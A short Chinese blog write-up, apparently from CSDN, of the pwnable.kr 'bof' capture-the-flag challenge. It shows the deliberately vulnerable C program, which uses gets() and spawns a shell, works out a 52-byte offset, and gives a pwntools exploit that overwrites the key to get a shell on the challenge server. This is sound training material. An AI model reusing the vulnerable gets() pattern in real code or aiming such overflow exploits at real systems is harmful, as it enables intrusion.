pwnable之bof

看代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

  • 分析只有当key等于0xcafebabe时,才能得到shell
  • 所以利用gets()函数溢出将key覆盖为0xcafebabe

利用IDA

在这里插入图片描述
可以看到覆盖空间为0x2c+0x8转化为十进制就是52

exp

from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()

在这里插入图片描述

建议参考:pwn

发布了17 篇原创文章 · 获赞 1 · 访问量 473

猜你喜欢

转载自blog.csdn.net/qq_43430261/article/details/102631444
今日推荐